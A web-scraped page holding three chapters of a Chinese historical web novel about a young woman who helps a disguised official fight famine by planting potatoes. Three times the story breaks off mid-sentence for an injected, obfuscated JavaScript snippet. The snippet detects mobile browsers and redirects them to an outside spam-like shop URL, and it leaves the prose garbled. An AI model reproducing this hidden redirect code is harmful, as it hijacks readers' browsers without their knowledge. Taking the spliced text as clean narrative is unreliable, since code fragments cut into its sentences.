苗苗骑在马上，探着脖子看：“小姐，这个咱们采不采？” “采。”叶容容蹲下来，掐了一大把，“带着，晚上做着吃。” 蒋成晏骑在马上没动，低头看着她忙活，忽然问了一句：“叶姑娘，你这些东西，都是跟谁学的？” 叶容容手里顿了顿。 她总不能说是在实验室学的。她站起身，把野菜递给苗苗揣好，随口道：“小时候跟家里人学的，家里没吃的，只能采野菜生活。” 蒋成晏没再追问，但目光在她身上停了一会儿，像是在掂量这话有几分真。 叶容容感觉到他的视线，也不躲，抬头看了他一眼。两个人对了一下目光，又各自移开。 她知道他不信。她也不指望他信。 只要能走到县城，只要他肯带着她，不信就不信吧。 小六子忍不住嘀咕：“叶姑娘，你怎么啥都知道？” 叶容容笑笑：“饿得多了，自然就知道了。” 这话说得轻飘飘的，但蒋成晏听进去了。他看了她一眼，没说话。 到了下午，日头偏西的时候，远远地看见了县城的城墙。灰扑扑的，不高，但门口站着兵，进出的人都要盘查。 叶容容眯着眼望了望，心里头松了口气。总算到了。 蒋成晏骑在马上，忽然俯下身，凑近她耳边，压低声音说了一句：“进了城，别乱说话。” 叶容容侧过脸，离得很近，能看清他冷峻的面庞和坚毅的眼神。 “我知道。”她说。 队伍放慢了速度，朝城门走去。 蒋成晏率先下马，他看了一眼小六。 小六赶快从随身携带的包袱里面拿出凭证，恭恭敬敬的递给城门口的检查小兵。 小兵打开凭证，里面夹着一片银叶子，他不动声色的把银叶子从凭证转移到自己袖子里，脸色不变，语气还是一如既往的凶巴巴，也不仔细查看人数了，摆摆手，示意他们离开。 县城不大，主街就那么一条，两边的铺子倒还开着几家。叶容容坐在马上四处打量，街上稀稀拉拉有几个行人。街角蹲着几个难民，衣裳破烂，眼巴巴地看着过往的人。 蒋成晏带着她们在一家客栈门口停了马。客栈门脸不大，牌匾上的漆都掉了，但看着还算干净。小二跑出来接客，见是骑马的，脸上堆满了笑，殷勤地把人往里让。 “几位客官，打尖还是住店？” “住店。”小六子跳下马，扔给他缰绳。 “好嘞——”小二拉着长音，又偷偷打量了几个人一眼，没多话。 叶容容被扶下马，腿有点软，站了一会儿才缓过来。 小六很快把房间分好，叶容容便带着苗苗去了一间房。 苗苗在去房间的路上，和叶容容说着悄悄话，“吓死我了，小姐，我刚才还以为要我们付账，我们两个一穷二白的。” 叶容容由于刚才看到了小六大手笔贿赂的事情，就猜到他们一行人绝对不一般，非富即贵，安慰道：“不会的，蒋公子一行人仗义疏财，怎么可能让我们两个弱女子付账。” 听到夸奖自家主子，小六朝叶容容投来一个赞赏的眼光。 进了房间，她简单洗了把脸，坐下喘口气，小六子就来敲门了：“叶姑娘，公子说让您把路上采的那些菜做一做。” 叶容容应了一声，让苗苗把野菜拿出来，又找小二借了个灶台。客栈后厨的人倒是好说话，见她一个小姑娘，还帮她生了火。 她把那宽叶子的野菜她焯了两遍水，又用凉水泡了一会儿，捞出来挤干，拌上盐巴和香油，一股清香味就飘出来了。带刺的小嫩芽则直接切碎加了一个鸡蛋，做成煎蛋饼。蛋香混合着嫩芽特有的味道，香味从厨房飘了出去。 做好了她先尝了一口，觉得还行，就让苗苗端着盘子送到蒋成晏屋里。 蒋成晏正坐在桌前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463679|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝茶，见菜端上来，扫了一眼，没动筷子。 叶容容知道他什么意思，让她先吃。 她也不客气，夹了一筷子菜放进嘴里，嚼了两下。又夹了一筷子鸡蛋，有荤有素，开胃得很。 “公子放心，没毒。”她咽下去，淡淡说了一句。 蒋成晏这才拿起筷子，每样尝了一口。他嚼了嚼，停了停，又夹了一筷子。 “还行。”他说。 就两个字，但叶容容听出来，这是真觉得好，不是客套。 随即让小六分给其余一行人品尝。 蒋成晏放下筷子，看着叶容容，忽然问了一句：“叶姑娘，除了野菜，你还认得什么？” 叶容容心里一紧。她知道这是在考验她，一行人为什么平白无故带两个弱女子进京城， 你必须拿出一点利用价值。 “认得一些草药，也懂一点种地的门道。”她想了想，又说，“什么样的土能长什么东西，什么样的天气该种什么，大概知道一些。” 蒋成晏没接话，只是看着她。那目光不重不轻的，像是在掂量她说的是真是假。 过了好一会儿，他才慢悠悠道：“等到了京城，希望把你说的这些本事都用上。” 叶容容听明白了——这是打定主意要带她走了。她心里松了口气，面上却不显，只是微微点了点头。 吃完了饭，天色已经暗下来了。叶容容回屋歇了一会儿。 突然听到敲门声。 “叶姑娘可有精神陪我出去走走？” 衣食父母的话，怎么敢违背，叶容容赶紧答应下来，跟着蒋成晏走出去。 县城不大，沿着主街走了没几步，就听见前面有哭声。 他们循声走过去，街角蹲着几个人，衣裳破烂，瘦得皮包骨头。一个妇人抱着个孩子，孩子一动不动，不知道是睡着了还是已经…… 叶容容心里头堵得慌，站在原地愣了一会。 旁边一个老汉靠着墙坐着，眼睛半睁半闭，嘴唇干裂得起皮了。他看见叶容容，张了张嘴，声音沙哑得几乎听不见：“姑娘……有没有吃的……” 蒋成晏走过去，蹲在老汉面前，问道：“这里没有施粥的地方吗，你为什么不去那边排队领粥喝？” 老汉摇摇头，说话上气不接下气：“没看到过粥铺。” 没有？蒋成晏震惊，这里离京城就两天的路程，朝廷的拨款早就到了，为什么没有看到粥铺？ “小六。”蒋成晏喊了一声。 小六马上从随身携带的水壶里面到了一点水给老汉。 随行的另外一人，则快步走回客栈，端了一碗白粥出来，喂到老汉嘴边。 看到食物，老汉狼吞虎咽的连嚼都不嚼直接吞下去，吞的很急，生怕有人来抢。 旁边的难民们看到有吃的也纷纷投来渴求的目光，还有力气的人直接跪在地上，不停的磕头，“贵人行行好。” 施粥是县太爷的活，自己不能太出风头。蒋成晏示意他们安静，吩咐小六去拿几个馒头，一人一个馒头，暂时缓解了他们的燃眉之急。 害怕闹出太大动静，蒋成晏也失去了闲逛的心情，带着一行人回了客栈。 蒋成晏随口交代了叶容容两句，便打发她离开，自己则独自回到房间。 客栈房间里，小六等人跪在地上，听从蒋成晏吩咐。 “去县太爷府上好好看看，为什么拨款却未见施粥。”蒋成晏坐着椅子上，淡淡吩咐道。 “遵命！” 5. 夜访县衙 小县城的夜晚黑得伸手不见五指，街上几乎看不见一点灯火。也对，在这连饭都吃不饱的地方，谁舍得点灯熬油？ 得了蒋成晏的命令，小六一行人换好夜行衣，借着夜色悄悄摸进了县城里最气派的宅子——县衙。他们几个都是跟着蒋成晏走南闯北过来的，这种夜探的活儿干得多了，轻车熟路，翻墙入院，连狗都没惊动一声。 县衙不大，前头是审案的公堂，后头是县令住的地方。小六趴在后院屋顶上，揭了几片瓦，往下头一看，心里先是一愣。 他原先想过，这县令八成是个贪得无厌的。旱成这样，难民在街上饿死，县衙里却亮着灯，不是数银子就是喝酒吃肉。可等他看清底下的光景，却跟他想的完全不一样。 屋里头坐着一个中年男人，四十来岁的模样，穿着一件半旧的青衫。他正伏在案前翻看公文，旁边立着个倒茶的仆人。整个屋子朴素得不像话，没什么多余的摆设，就墙上挂了几幅字画，一张书桌，一张带纱帐的木床。桌上堆着厚厚一摞公文，旁边搁着一盏油灯，灯芯细得像根针，光亮也就巴掌大一块。 那仆人轻轻挑了挑灯芯，让灯亮了些，小声说：“大人，夜深了，该歇着了。明日还有明日的公务呢。” 县令抬起头，放下笔，把披在肩上的衣裳往上拢了拢，说：“你给我留个灯就行，这儿不用你伺候了，早点歇着去吧。” “可是大人，您都连着熬了好几个晚上了……”仆人还想再劝。 县令摆摆手：“去吧去吧，我再批几份就睡。” 那仆人叹了口气，知道劝不动，只好应了一声，退了出去。脚步声渐渐远了，屋里头就剩下县令一个人，还有那盏半明半暗的油灯。 小六在屋顶上趴着，一动不敢动。夜风从瓦缝里灌进来，吹得他后背发凉。他就这么盯着底下那个人看了快一个时辰，腿都蹲麻了，才见县令放下笔，伸了个懒腰，吹了灯躺下。 他心里头犯起了嘀咕——难道这还真是个好官？县衙穷成这样，县令穿得比难民好不了多少，还熬夜批公文，瞧着倒像是那么回事。 可他总觉得哪里不对。一个县令，旱灾这么久，县衙穷得叮当响，粮仓一粒米都没有，难民在街上饿死，他倒是稳得住。 小六正想着，又听见底下传来翻身的声响。他赶紧收了瓦片，轻手轻脚地挪开，准备再去库房瞧瞧。屋顶上那点细微的响动，县令似是听见了，却只翻了个身，把被子往头上一蒙，继续睡了。 库房在县衙东边，不大，门上了锁，但那种锁在小六眼里跟没上一样。他摸出匕首，三下两下就拨开了，闪身进去。 库房里头空荡荡的，空气里面有一股浓浓的尘土味，一眼就望到了头。就靠墙的角落里零星堆着几袋粮食。小六摸出匕首，在袋子上划了个小口子，掏出一把米来，搁在手心里细细瞧了瞧——米粒发黄，有的还带着黑点，闻着有一股霉味儿。 他把米收好，又把袋子上的口子掩了掩，确认看不出破绽，才悄无声息地退了出去。出了县衙，外头几个弟兄还在墙根底下等着，见他出来，都松了口气。 “走。”小六一挥手，几个人沿着巷子摸黑回了客栈。 客栈里，蒋成晏还没睡。他坐在桌前，桌上的茶早就凉了，也没喝。见小六他们回来，问道：“查到了？” 小六把夜探县衙的经过一五一十说了，又把那些米递过去。蒋成晏接过来，放在鼻子底下闻了闻，眉头就皱了起来。 “陈年米？”他把米粒搁在桌面上，用手指拨了拨，忽然冷笑一声，“今年新收的百余担新米，还没入户部的库房就直接拨过来赈灾了。我倒是不知，新米不过数月就能黄成这样。” 屋里几个随从都低着头，不敢接话。他们都知道，蒋成晏这人平时看着冷冰冰的，可越是这种不冷不热的语气，越是说明他动了气。 小六硬着头皮说：“公子，属下瞧着那县令也不像贪的，屋里头穷得叮当响，穿的衣裳比属下还破。可这米……确实有问题。” “越是干净的人，越要查。”蒋成晏站起身，走到窗前，推开窗户。夜风灌进来，桌上的灯苗晃了晃，差点灭了。他背对着众人，声音淡淡的，“一个县令，旱灾这么久，县衙穷得叮当响，粮仓一粒米都没有，难民在街上饿死，本身就不正常。” 小六愣了一下：“公子是觉得……他故意装出来的？” 蒋成晏没答话，只是站在窗前，看着外头黑沉沉的夜色。 屋里头静得能听见灯芯噼啪的声响。 就在这时，门外忽然传来几声轻叩。 “蒋公子，你在吗？” 叶容容站在门外，手里端着个碗，里头是她刚才在客栈后厨翻到的几味草药，胡乱熬了一碗汤。其实她也不是真的想送什么安神汤。 方才出去的时候还好好的，当街目睹难民的惨状后，蒋成晏就变得更加阴沉，脸色虽看不出什么，可她总觉得他周身的气压都低了几分。她寻了个由头过来，熬汤的草药她也不认得几味，就是看着像是安神的抓了一把，煮出来的汤黑乎乎的，闻着有一股苦味儿。 “进来。”里头传来蒋成晏的声音，听着倒还平静。 叶容容推门进去，就看见蒋成晏坐在桌前，几个随从站在一旁，脸色都有些凝重。她扫了一眼，心里更加纳闷了，面上却不显，只端着碗走过去，说：“公子，我在后厨瞧见几味安神的草药，就熬了一碗。效果说不上多好，但多少有点用，公子尝尝？” 蒋成晏看了她一眼，那目光淡淡的。他伸手接过碗，搁在桌上没喝，倒是把桌面上的陈米往她面前推了推。 “叶姑娘，你看看这个。” 叶容容低头一看，那米颜色发黄，有的还带着黑点，一看就是陈了好些年的米。她拈起一粒，放在指尖搓了搓，又凑近闻了闻，眉头就皱了起来。 “这是陈米，少说也存了三五年了。”她抬头看着蒋成晏，“公子从哪儿弄来的？” 蒋成晏没答话，只是看着她，像是要从她脸上看出点什么来。过了片刻，他才道：“你再看看，这米有什么不对？” 叶容容又仔细瞧了瞧，心里头转过几个念头：“确定是陈米，而且明显已经变味了。若是煮了吃，轻则肚子疼，重则腹泻。” 蒋成晏越听越觉得眼前这女子不简单。但凡和植物打交道的，她什么都懂。这个人突然拦住他的马，闯入他的视线，又带来许多惊喜。这些天的相处，让他心里的怀疑消了几分。 他沉默片刻，问道：“叶姑娘可有什么好办法，度过眼下这些灾情？” 这话一出，屋里几个随从都愣住了。小六嘴巴张了张，想说什么又咽了回去。 蒋成晏扫了一眼随从，自己也反应过来了——这分明是病急乱投医。他正要说什么，叶容容却开了口。 她看懂了蒋成晏的表情，斟酌一番道：“蒋公子高估我了。我充其量不过是个普通人，也没有办法凭空变出粮食来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463680|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这话，蒋成晏脸色没变，倒像是为了弥补自己方才的鲁莽，反而安慰起她来：“叶姑娘不必有太大负担。答应带你去京城的事，我说到做到。” 叶容容听到这句保证，心里头最后一点顾虑也消了。她悄悄握紧了双手，带着破釜沉舟的语气开口道：“我虽不能凭空变出粮食，只要还有粮食种子，只需给我月余的时间，用我的办法种出的粮食，可以高产丰收，这样才能真正解决此地的旱情。” 众人被这番话惊得目瞪口呆。 蒋成晏倒是没怎么惊讶，只是看着她，手指在桌面上轻轻敲了两下。过了好一会儿，他才慢悠悠开口：“叶姑娘，你若是能在这里把粮食种出来，事成之后，我便带你进京。到了京城，我给你安排住处，保你衣食无忧。你那个丫鬟，我也一并照应着。” 叶容容知道蒋成晏这是在跟她谈条件，可她心里头想的不是这些。她想起街上那些难民，那个抱着孩子的妇人，那个嘴唇干裂的老汉，还有街角蹲着的那几个人，一个个瘦得皮包骨头，眼睛直勾勾地看着过往的行人，像是在等一口吃的。 她咬了咬牙说：“公子不必许诺我什么。我也是难民，若不是承蒙公子关照，也不会站在这里，若是能帮上忙，耽误个把月进京城也不算什么。” 蒋成晏看了她一眼，那目光跟平时不太一样，好像多了点什么。他没说话，只是点了点头，端起桌上那碗安神汤，慢慢喝了一口。 “苦。”他说。 叶容容愣了一下，没忍住笑了一下：“草药嘛，哪有不苦的。” 蒋成晏没再说什么，把碗放下，道：“那就辛苦叶姑娘了。明日我再带你四处转转。” 叶容容应了一声，转身往外走。走到门口，又回头看了一眼——蒋成晏还坐在那里，手里端着那碗安神汤，正在慢慢喝着，眉头微微皱着，像是嫌苦，又像是在想什么事。 她心里头忽然觉得，这个人好像也没那么难相处。 关上门，她站在走廊上，长长地呼出一口气。苗苗从隔壁探出头来，小声问：“小姐，怎么了？” “没什么。”叶容容笑了笑，“咱们可能要在这儿多待些日子了。” 苗苗虽然不明白怎么回事，但见小姐笑了，也跟着笑起来：“那好啊，总比一直在路上强。就是……咱们住这么久，银子够不够啊？” 叶容容这才想起来，她们身上统共就那十文钱，还分了五文给苗苗。她沉默了一下，说：“这个……再说吧。” 苗苗“哦”了一声，也没多问，也赶快回房间了。 叶容容回到房间，站在窗前看着窗外黑沉沉的夜色。握紧双拳，眼神坚毅，准备打一场没有硝烟的仗。 隔壁房间，蒋成晏也没有睡。他坐在桌前，手里还端着那个碗，碗里的汤已经喝完了，碗底留着一点药渣。他把碗搁下，对小六说：“明日你去四处打听打听。既然要长住，就不能一直待在客栈。” 小六应了一声，又问：“公子，您真信她能种出粮食？” 蒋成晏没答话，只是看着桌上那发黄的米，过了好一会儿才说：“信不信的，试试就知道了。反正……也没什么好损失的了。” 小六听出他话里头的意思，没敢再多嘴，悄悄退了出去。 屋里头又安静下来，只剩下那盏灯，噼里啪啦地烧着灯芯。 众人离去后，蒋成晏独自沉思片刻，随即他从包袱里面拿出纸和笔，提起笔来开始写信。 6. 西洋货 清晨的阳光又落在干裂的土地上。进城排队的人越来越多，虽说城里也没什么余粮，大家还是一股脑地往里涌。 叶容容惦记着昨日应下的事，早早就起了。众人在客栈一楼碰了面。 小六见她们下楼，忙招呼用饭。说是早餐，不过一碗白粥，两碟咸菜罢了。 蒋成晏放下茶杯，开口道：“叶姑娘，一会儿我陪你去街上转转。看姑娘需要什么种子，价钱好商量。” 叶容容点头道：“多谢蒋公子。我确实不晓得当地有什么种子卖，嘴上说得轻巧，还是得实地看看，心里才有数。” 众人依次落座，各自用饭不提。 饭后，蒋成晏带着叶容容离开客栈，沿着街道步行，看看还有哪些铺子开着门。 路过了好几家粮店，米价都贵得吓人。叶容容朝店门口打量了几眼，来往的顾客稀稀拉拉，没几个。 他们随意走进一家粮店。店小二热情招呼：“客官看粮么？咱这店虽说比不得那些大店，可品种多，哪怕是西洋那边的稀罕东西，也是有的。” 叶容容正漫不经心地看着店里的存货，忽听“西洋货”三个字，心里来了兴趣，问道：“你说的稀罕物在哪儿？领我去看看。” 店小二见这两人,尤其是那男的气度不凡，便知来了大主顾，赶忙往里请：“客官随我来，东西在里面呢。” 穿过前厅，到了后院。后院的货架上摆着几样东西，落了些灰，瞧着是搁了有些日子了。 “客官看这个？老板从海上带回来的，搁了一个月了，没人买，就堆在这儿了。”店小二话没说完,其实还有后半截：搁了一个月没人买，发了芽，老板舍不得扔，自己煮了吃，结果上吐下泻了两天，这才没来店里。 叶容容快步走到货架前，盯着那个圆滚滚、发了芽、带着泥土色的东西——这不就是土豆么？她双手捧起来，语气里压不住的欢喜：“你说这是西洋传过来的，没人吃，卖不出去？” 店小二见她如此激动，吓了一跳，连忙摆手：“不不不，也不是没人吃。我家老板吃了，前两天舍不得扔……” 叶容容立刻明白了：“是不是发了芽才吃的？中了毒，上吐下泻？” 店小二一脸佩服：“神了！你怎么知道的？” 叶容容顾不上旁人怎么看，拿起土豆，掰下嫩芽，仔细端详了一番，又用指甲抠了抠表皮——没错，就是土豆。 这东西，切一小块就能发芽，长起来也快，三四十天就能收。天大的好事。 她打量着货架上剩下的土豆，声音都在发颤：“发芽的土豆本来就不能吃。你们还有多少？” 一旁的蒋成晏负手而立，面上没什么表情，目光却落在叶容容身上。他一路走来，从未见她如此失态。哪怕是初见时差点被马踩到，她也没慌过。如今面对一个小小的西洋货，竟激动成这样。 有意思。他心下转了个念头，面上却不动声色。 店小二眼看今天能成个大单，还是老板的心头大患，简直是双喜临门，忙道：“有的有的，还有一麻袋。只是这东西……” 叶容容正要开口定下，忽然反应过来，自己身无分文，全仰仗他人，怎能不问一声就擅自做主？蒋公子从进店起便沉默不语，该不会是生气了吧？这分明是越俎代庖。 越想越不安，她转头看向蒋成晏，眼神里带着几分忐忑。 蒋成晏对上她的目光，收回视线，伸手整了整袖口，开口道：“只是什么？这些我们都定了，待会儿有人来取。” 语气平平，像是随手做了一桩无关紧要的买卖。 店小二没想到三言两语就成了一单，喜笑颜开：“客官大气！我绝不虚报，价格公道。” 双方约好了取货的时辰，两人便离开了店铺。 叶容容憋了一肚子话，好不容易有了独处的机会，赶紧向蒋成晏解释：“公子莫怪我太激动。这东西产量极高，切一小块种下去，一个月后就能收，最少能收四五个，算下来能翻七八倍呢。” 叶容容说完，心里还有些忐忑，生怕蒋成晏觉得她是在夸大其词。 蒋成晏看了她一眼，才道：“叶姑娘倒是懂得不少。” 语气不咸不淡，听不出是夸还是试探。 叶容容心里一紧，知道自己又露了破绽，忙道：“蒋公子，方才确实是我太过于激动了。这个东西唤作土豆，发芽就不能吃了。没发芽之前，一个人一顿吃两个就能果腹，比吃稻米和小麦划算得多。还请蒋公子再信我一回，我一定不会让公子失望的。” 蒋成晏没接话，只是微微点了点头：“那便给姑娘月余时间。” 叶容容连忙道谢：“多谢公子。” 蒋成晏转过身往回走，步子不紧不慢。他在心里暗暗盘算：若这东西真如她所说，月余便能收成，那便是天大的好事。若不成，也不过浪费些时日。横竖查案的事还没理出头绪，在此地多留几日也无妨。至于这个叶容容,到底值不值得用，还得再瞧瞧。 想到这里，他头也不回地丢下一句：“姑娘不必谢。只消记得，咱们都是为了灾民。” 叶容容愣了一下，赶紧跟上去。 两人沿着原路返回客栈，一路上谁也没开口。街上的难民比早上又多了些，三三两两蹲在墙根底下，有的已经饿得连头都抬不起来了。叶容容看在眼里，心里很不是滋味。蒋成晏面上却没什么波动，只是目不斜视地往前走。 进了客栈，小六正坐在大堂里喝茶，见他们回来，连忙站起来，脸上带着笑：“公子，叶姑娘，事情办妥了。” “院子租到了？”蒋成晏坐下，小六立刻端起茶壶给他倒了杯水。 “目前选好了两个地方，最终还得公子定夺。”小六从袖子里掏出两张纸，摊在桌上，上面写着两座宅子的信息，“城东一个独门小院，三间正房，两间厢房，带个后院，够咱们住了。城北有一个四进小院，面积要大一些，只是地势不好，有些偏低，但带了一口水井。虽说大旱，井里的水还够人喝。” 蒋成晏点了点头，把两张纸拿起来扫了一眼，又递给叶容容：“叶姑娘看看。” 叶容容接过来，上面画着院子的简图，虽然简陋，但该有的都有。她心里松了口气,有了落脚的地方，接下来种地的事就好办了。 “挺好。”她把纸还给小六，“辛苦你了。” 小六摆摆手，笑道：“叶姑娘客气了。那咱们就实地去瞧瞧，到底定哪个院子，早点定下来才好安排下一步。” 蒋成晏站起身：“走吧。” 众人纷纷应下。 来到城东小院，原来的主人因旱情已经搬走了，只留一个老仆在门口的耳房看门。 众人上前说明来意，老仆这才拿出钥匙，打开院门。 走进院子，果然如小六所说,小院很小，却胜在精致。由于干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463681|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旱，后院种的花花草草早已枯死，只留下一片荒凉。 老仆开口道：“主人家去外地了，这边就准备租出去。只要你们看得上，价格都好商量。” 叶容容环顾四周，觉得过于荒凉，又听小六说另一处宅子有一口水井,植物种植缺水可不行，于是对另一处房屋多了几分期待。 蒋成晏只扫了一圈，没说什么，转身便往外走。这种小院子连他别院的都比不上，没什么可看的。 小逛一会儿后，众人礼貌地向老仆告辞。 第二处宅子确实出人意料。 负责房屋租赁的牙婆早早等候在门口，见他们来了，赶忙热情招呼：“客人来了呀，快里面请。” 从大门进去，便觉着院子宽敞，比方才那小院大了不少。 叶容容走到小六提及的水井旁边，探头往下看,确实还有水，唯一美中不足是水太浅了。但有总比没有好，叶容容很满意。 一旁的蒋成晏负手站在廊下，目光不动声色地跟着叶容容。她对房间和装潢看都没看一眼，径直走向水井,这女子行事，与京城那些闺秀确实不同。 他收回目光，伸手理了理袖口。 在京城的时候，蒋成晏没少参加过各种宴会。宴会上的少女们，一个个娇声细语，走几步路就要歇一歇，仿佛这世上没什么值得她们费力气的。可叶容容不一样，她身上有一种他看不太透的东西。 牙婆眼尖，一眼就看出谁才是能拍板做主的人，赶忙凑到蒋成晏跟前，不停说着吉祥话。 蒋成晏嫌她聒噪，只给了小六一个眼色。 小六立刻会意，上前拦住牙婆：“我们看上了自会知会你。” 蒋成晏环视四周，依旧没发表什么意见。 叶容容看过水井，又走到后院仔细观察地形,地势确实很低，排水不畅，下雨天容易积水。她蹲下身，抓起一把泥土细看：土壤蓬松，土质疏松透气，倒是适合前期育苗，等长出绿叶再移栽到田里。 随从们都是跟着蒋成晏走南闯北的人，从没见过这样的大家闺秀,哪像她，直接蹲在地上玩起泥巴来。几个人看得入了神。 蒋成晏瞥了他们一眼，轻咳一声。 那几个随从立刻回过神，慌忙低下头去，不敢再看。 其中最机灵的小五看懂了蒋成晏的意思，快步走到还在和牙婆打太极的小六旁边，冲他使了个眼色。小六立刻会意,这是要定下来了。 他也不多还价，拉着牙婆商谈价钱。 牙婆从没遇到过这么爽快的客人，看几眼就定下来，脸上笑容灿烂，不停说着吉祥话。双方约定明日搬进来。 眼看一切都敲定，众人回到客栈收拾东西。 到了客栈，蒋成晏叫住叶容容，让她一同进房间。 她进去时，发现小五和小六也在。 蒋成晏坐在桌前，手指轻轻叩了叩桌面，对叶容容道：“叶姑娘，劳烦你给他们说说今天早上的情况。” 叶容容便把在粮店里发现土豆的事简单说了一遍。小六听得眼睛都亮了：“还有这种好东西？那咱们什么时候去取？” “说好了今日下午去取。”叶容容道，“待会儿还得劳烦你跑一趟。” “不劳烦不劳烦。”小六搓了搓手，一副跃跃欲试的样子。 蒋成晏端起茶杯，慢慢喝了一口，目光从叶容容身上扫过，又收回来，面上依旧看不出什么波澜。 7. 有客来访 众人各自散去，回屋收拾东西。下午小六带了两个人去粮店，把那麻袋土豆搬了回来，码在客栈的柴房里。叶容容又去检查了一遍，确认土豆虽已发芽，但个头饱满，没有腐烂的迹象，这才放下心来。 晚上吃饭的时候，大家围坐在一起，气氛比前几日松快了许多。 蒋成晏坐在对面，慢条斯理地吃着，偶尔抬眼看叶容容一下，目光一掠而过，看不出什么情绪。 饭后，叶容容又去柴房仔细看了一遍那些土豆，才回屋歇下。苗苗已经躺在床上了，见她进来，翻了个身，嘟囔道：“小姐，你心里头是不是很着急？” 叶容容吹了灯，在黑暗中躺下来，轻声道：“着急也没用。种还没下，急不来的。” 苗苗“嗯”了一声，没再说话，不一会儿就传来了均匀的呼吸声。 叶容容睁着眼，听着窗外的风声，心里头默默盘算着明天要搬的小院、要翻的土、要沤的肥……想着想着，也不知什么时候睡了过去。 窗外，夜色渐浓，远处的天边还挂着几颗星星，亮晶晶的，像是谁撒了一把碎银子。 县衙后院。 徐县令手里拿着刚刚拆开的信件，信上说朝廷派来暗访的钦差已经出发，要巡查四五个受灾县城，让他做好准备。 徐县令冷笑一声，做准备？用发霉的大米准备么？他随手将信纸凑近烛火，火舌很快吞噬了信件，只剩下几片黑色灰烬飘落在桌面上。 他在椅子上坐了很久，才站起身来， 吩咐下人去唤师爷来。 师爷进来后，徐县令招呼他坐下，随后问道：“最近县里可有什么异常？” 师爷深夜被传唤，本就心里没底，听到这一问，更是不知从何说起，小心翼翼道：“不知县尊指的是哪方面？小人好一一禀报。” 徐县令脸上挂着和蔼的笑，语气却不大对劲：“怎么说？你问我哪方面，那就是很多地方都有问题了？” 师爷吓了一跳，赶忙答道：“倒是有几桩小事，我说给您听听。头一件，有人在县城大街上派发馒头给灾民，还打听施粥的事。第二件，前两天负责城门看守的人收了贿赂，瞧那东西不像是寻常玩意，被人眼红，举报到我这里来了。” 说着，他从随身携带的荷包里取出一片白银做的叶子，小小的，恭恭敬敬递了过去。 徐县令伸手接过。叶子看着不大，在手里掂量掂量，分量却不轻，估摸着有一两上下。上面的花纹极精致，边角打磨得圆润光滑，用手摸着一点都不硌手。这绝不是普通人家的东西。若不是露了白被人举报，这片叶子拿去典当，估摸着能值不少银子。 “谁给的？知道吗？”徐县令问道。 师爷回道：“说是一群骑马的商贩，路引凭证上写的是商贾。几个男的，带了两个女的。” 女的？徐县令心里一动，信上说钦差微服出访，没提带家属啊。 他又问：“知道他们现在在哪里吗？” 师爷察觉到县令的语气忽然严肃起来，立刻提起了十二分的小心：“知道，在客栈歇脚，还没走。我让人盯着呢，一有动静就来报。” 蠢货！徐县令心知这次来的人不一般，凭县衙这几个歪瓜裂枣去盯梢，只怕早就被人发现了。他嘴角微微撇了一下：“不用了，让他们回来。明日我亲自去看看。” 师爷恭恭敬敬应了。 得到了自己想要的消息，徐县令摆摆手，让他退下。 师爷站起身来，朝徐县令作了个揖，转身出去，轻轻带上了门。 徐县令手里还拿着那片银叶子。他把蜡烛凑近，借着烛光里里外外看了个遍。忽然想到了什么，将叶子丢在桌上，从抽屉里取出信纸，开始研墨写信。 蒋成晏还没有睡。 他方才去柴房拿了一个土豆回来，实在好奇这到底是个什么东西，打算自己好好瞧一瞧。 他很有耐心地打了一盆水，将土豆浸在水中，洗净了表面的泥土，细致地观察起来。 他自幼学武，熟读兵法，论排兵布阵，信手拈来。可这农事上的门道，他确实所知有限。这世道会种地的农民不少，大多都是父传子、子传孙，一代代传下来的手艺。可叶容容年纪轻轻，却什么都略知一二，不可谓不蹊跷。 洗净的土豆表皮发黄，其貌不扬，上面还冒出几个绿芽。蒋成晏翻来覆去看了几遍，怎么看也不像是能吃的样子。 正思忖间，门外传来几声轻叩。 蒋成晏应了一声。 小六推门进来，压低声音道：“公子，有情况。有人在客栈外面鬼鬼祟祟地监视我们。” 蒋成晏走到窗前，推开一条缝往下望去。客栈门口有几个穿着官服的小兵在徘徊，东张西望，就是不进来。 他放下窗户，转身坐回椅子上，手指轻轻叩着桌面，问道：“你说的就是他们？” “是，从咱们回客栈就在门口晃悠了。”小六顿了顿，“奇怪的是，他们居然穿着官服，明目张胆地监视。” 蒋成晏没说话，目光落在桌上那枚洗净的土豆上。半晌，他冷笑一声：“这是在告诉我们，他们已经知道我们来了。” 小六一愣：“公子的意思是……” “这年头，宰相还有三门穷亲戚，更何况这些同年科举的同僚们。”蒋成晏淡淡道，“递个消息，不算难事。” 他摆了摆手：“不必理会他们。早点歇着，明日一早就搬去新租的院子。” 小六应了一声，见他没有别的吩咐，便告退离开了。 